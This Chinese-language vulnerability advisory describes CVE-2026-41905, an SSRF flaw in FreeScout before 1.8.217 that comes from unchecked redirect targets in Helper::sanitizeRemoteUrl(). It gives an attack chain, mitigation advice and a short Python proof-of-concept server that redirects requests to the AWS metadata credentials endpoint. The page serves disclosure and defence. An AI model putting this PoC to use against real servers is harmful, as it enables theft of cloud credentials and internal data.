IPBUF安全漏洞报告
English
CVE-2026-41905 CVSS 7.7 高危

CVE-2026-41905 FreeScout URL验证绕过致SSRF漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-41905
漏洞类型
SSRF (服务器端请求伪造)
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FreeScout

相关标签

SSRFFreeScoutLaravelURL重定向信息泄露

漏洞概述

FreeScout是基于Laravel框架的开源帮助台系统。在1.8.217版本之前,其Helper::sanitizeRemoteUrl()函数存在安全缺陷。该函数能够跟随HTTP重定向获取最终地址,但仅对用户输入的原始URL进行安全验证,忽略了重定向后的目标URL。攻击者可利用此漏洞绕过主机检查,诱导FreeScout访问内部HTTP服务或云元数据,导致敏感信息泄露。

技术细节

该漏洞核心在于FreeScout的URL重定向处理机制存在逻辑缺陷。位于app/Misc/Helper.php的Helper::sanitizeRemoteUrl()函数旨在防止SSRF攻击,但在实现上存在疏漏。当系统处理用户提供的URL时,会通过curlGetLastRedirectedUrl()跟随HTTP 301/302等重定向跳转。问题在于,代码仅对初始输入的URL进行主机名和内网IP地址的合法性校验,一旦初始URL通过验证,系统便会盲目信任并请求重定向后的最终目标地址。
攻击者可利用此特性,构造一个指向外部恶意服务器的URL(该URL通过初始检查),并在恶意服务器上设置重定向响应,将流量引导至内网敏感资源(如AWS/GCP的云元数据服务169.254.169.254,或内网API接口)。这使得攻击者能够绕过网络边界防御,探测或窃取内部服务数据,造成严重的信息泄露风险。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标运行的是FreeScout且版本低于1.8.217。
STEP 2
2. 构造恶意URL
攻击者搭建外部恶意服务器,配置重定向规则指向内网敏感地址(如169.254.169.254)。
STEP 3
3. 发起请求
攻击者向FreeScout提交包含恶意服务器URL的请求,该URL通过初始白名单检查。
STEP 4
4. 重定向利用
FreeScout跟随重定向,未检查最终目标,直接请求内网敏感服务。
STEP 5
5. 数据泄露
攻击者获取内网服务的响应数据,窃取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import http.server import socketserver # Simple PoC: Malicious server redirecting to internal metadata PORT = 8000 class RedirectHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): # Redirect to internal cloud metadata service (AWS Example) self.send_response(302) self.send_header('Location', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/') self.end_headers() with socketserver.TCPServer(("", PORT), RedirectHandler) as httpd: print(f"PoC Server running at http://0.0.0.0:{PORT}") print("Submit this URL to vulnerable FreeScout instance to trigger SSRF") httpd.serve_forever()

影响范围

FreeScout < 1.8.217

防御指南

临时缓解措施
建议立即升级官方补丁。若无法立即升级,应在网络层面限制FreeScout服务器的对外访问权限,仅允许访问必要的外部API,并阻止对内网IP段(如127.0.0.1, 169.254.169.254等)的请求。

参考链接